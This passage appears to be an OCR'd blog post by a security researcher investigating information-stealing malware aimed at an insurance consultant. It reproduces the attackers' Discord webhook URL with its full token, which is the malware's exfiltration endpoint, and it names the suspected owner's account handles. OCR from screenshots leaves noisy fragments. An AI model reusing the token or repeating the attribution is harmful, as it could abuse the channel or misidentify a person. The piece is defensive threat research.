ADMINUSLabs @ Clean AICC (MONITORAPP) @ Clean

AlienVault @ Clean alphaMountain.ai @ Clean

Antiy-AVL @ Clean Avira @ Clean @
hanbaw ~n N Plaan Rfara Ai Dralrima N Plaan s

This web address is common to two different malware samples, which I’'m sure
doesn’t surprise me and the readers of my article “Was Turkey’s e-Government
Hacked?” because in that article we saw that threat actors often embed
backdoors in the files they share. In this malware, the developers didn’t
neglect to ensure they also receive the addresses of files stolen and
uploaded to the Gofile file-sharing platform. :)


https://www.mertsarica.com/was-turkeys-e-government-hacked/
https://www.mertsarica.com/was-turkeys-e-government-hacked/

Threat Actor Targeting the Insurance
Consultant — Who 1is 1t?

After obtaining this information, it was time to find answers to the crucial
questions that had been lingering in my mind. Who was the threat actor that
downloaded and created this malicious software from the GitHub repository,
targeting the insurance consultant? To answer this, I decided to leverage the
Discord Webhook address embedded in the malicious software. When I visited
this address, the Discord API revealed that the user who created this
Webhook, with the username Nedimtac, joined Discord on June 17, 2023. The
individual displayed as “Iplikc¢i Nedim” in the display name.

o0 @ discord.com/api/webhooks/112 X =+ v
< 2> C O a discord.com/api/webhooks WahnRDXI_2tbBWpTonpflGrU11zDgpV48hikuiyjtsbPuHIbNSQgmDuwsRl... h % @ By @ *» & 0O ﬁ 8

£ Hack 4 Career. Inf... in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... % ES Other Bookmarks

{"application_id":null,"avatar”:null,"channel_id":"1133485730606350488","guild id":"1133485730035937412","id":"1133485749174534244" , "name" : "Captain Hook","type":1,"user":{"id":"1119714

oce {"application_id":null,"avatar":null,"channel_id":

<> installed.txt {"application_id":null "avatar":null “channel_id"; ®

1  {"application_id":null,"avatar":null,"channel_id":"1133485730606350488" ,"guild_id":"1133485730035937412" " :''1133485749174534244" , "name": "Captain Hook","t)zﬁe":1,"user":{"id"
1"1119716450886758400" , "username" : "Nedimtac", "avatar":null,"discriminator":"9375","public_flags":0,"flags" "banner":null,"accent_color":null,"global_name":null,"avatar_decor

ation":null,"banner_color":null},"tokenf"bn3XWahnRDXI_2tbBWpTonpf1Gru11zDgpV48hlkuiyjtsbPuHIbN5QgmDuwsRlvit4r","url":"https://discord.com/api/webhooks/1133485749174534244/
bn3XWahnRDXI_2tbBWpTonpf1Gru11zDgpV48h)" Ly j tsbPUHIbN5QgmDuwsRlvit4r"

The username of this person was “iplikkkk” in July 2023, and after changing
the display name to “SANALIN FATIHI” in August, the account was completely
deleted in September. Although I tried to contact this person, unfortunately,
I couldn’t have the chance to chat with him as he did not accept my

invitation.


https://discord.com/api/webhooks/1133485749174534244/bn3XWahnRDXI_2tbBWpTonpflGrU11zDgpV48h1kuiyjtsbPuHIbN5QgmDuwsRlvit4r

iplikci Nedim
Nedimtac#9375

User Info Mutual Servers

DISCORD MEMBER SINCE
Jun 17, 2023

NOTE
Click to add a note

Mutual Friends




@ iplikci Nedim
W

iplikkkk

Iplikci Nedim
iplikkkk iplikgi Nedim

iplikkkk

This is the beginning of your direct message history with iplikgi Nedim.
DISCORD MEMBER SINCE

No servers in common Friend Request Sent Block Jun 17, 2023

NOTE

Click to add a note

JEBN

Wave to iplikkkk

> SANALIN FATiHI B A 2 @ serh

SANALIN FATIHi SANALIN FATiHi
iplikkkk i

This is the beginning of your direct message history with SANALIN FATiHi. Jun 17,2023

DISCORD MEMBER SINCE

No servers in common Friend Request Sent Block NOTE
Click to add a note

N

Wave to iplikkkk




@ Deleted User 6752921f (DI I SN -

Deleted User 675a921f

Deleted User 675a921f

Deleted User 675a921f#5894 Deleted User 675a921f#5894

This is the beginning of your direct message history with Deleted User 675a921f. DISCORD MEMBER SINCE

Jun 17, 2023
No servers in common Friend Request Sent Block

NOTE

Click to add a note

Wave to Deleted User 675a921f

Why Might an Insurance
Consultant/Agency Be Targeted?

It was time to find an answer to another question. How could the threat actor
have found and obtained the mobile phone number of the insurance consultant?
In recent years, with a wealth of information circulating in the hands of
cyber criminals, it might not be too difficult to guess who has access to our
mobile phone information. However, I decided to delve a bit more into this
particular issue.

When it comes to the insurance consultant, just like real estate agents,
their mobile phone information should be easily findable and reachable on the
internet, in publicly accessible places. If this threat actor is targeting
insurance agents, then one would assume their first stop could be the Google
search engine. Could they easily obtain this information from there?”

For this, when I searched with the keyword “insurance agency” on the Google
search engine, I observed that there were numerous insurance agencies sharing
their mobile phone information. Seeing that threat actors targeting insurance
consultants and agencies could potentially exploit systems they hacked using
this method and, through those systems, gain access to the internal systems

of insurance companies, it was more than enough to deeply concern me.
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Conclusion

When I thought about why insurance consultants and agencies are targeted by
threat actors with information-stealing malware, I thought of the high
potential of converting this information into query panels and/or selling it
to fraudsters or threat actors, as in my article “Was Turkey’s e-Government
Hacked?". Whether this possibility is low or high, the undeniable truth of
today is that threat actors target our personal data and the organizations
that have access.

In conclusion, regardless of the likelihood, it is crucial for everyone to

think twice before clicking on links or opening files from unknown sources.


https://www.mertsarica.com/was-turkeys-e-government-hacked/
https://www.mertsarica.com/was-turkeys-e-government-hacked/

Hope to see you in the following articles.



